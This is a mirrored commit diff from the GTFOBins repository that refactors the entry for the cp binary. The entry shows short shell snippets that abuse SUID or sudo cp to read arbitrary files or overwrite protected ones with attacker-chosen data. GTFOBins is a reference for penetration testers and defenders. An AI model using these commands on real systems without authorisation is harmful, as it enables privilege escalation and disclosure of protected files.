mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-03 18:28:43 +01:00 
			
		
		
		
	Refactor cp
This commit is contained in:
		@@ -1,21 +1,21 @@
 | 
			
		||||
---
 | 
			
		||||
description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
 | 
			
		||||
functions:
 | 
			
		||||
  suid:
 | 
			
		||||
  file-read:
 | 
			
		||||
    - code: |
 | 
			
		||||
        LFILE=file_to_read
 | 
			
		||||
        cp "$LFILE" /dev/stdout
 | 
			
		||||
  suid:
 | 
			
		||||
    - description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
 | 
			
		||||
      code: |
 | 
			
		||||
        LFILE=file_to_write
 | 
			
		||||
        TF=$(mktemp)
 | 
			
		||||
        echo "DATA" > $TF
 | 
			
		||||
        ./cp $TF $LFILE
 | 
			
		||||
  sudo:
 | 
			
		||||
    - code: |
 | 
			
		||||
    - description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
 | 
			
		||||
      code: |
 | 
			
		||||
        LFILE=file_to_write
 | 
			
		||||
        TF=$(mktemp)
 | 
			
		||||
        echo "DATA" > $TF
 | 
			
		||||
        sudo cp $TF $LFILE
 | 
			
		||||
  file-read:
 | 
			
		||||
    - description: It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system. The path must be absolute.
 | 
			
		||||
      code: |
 | 
			
		||||
        LFILE=file_to_read
 | 
			
		||||
        cp "$LFILE" /dev/stdout
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user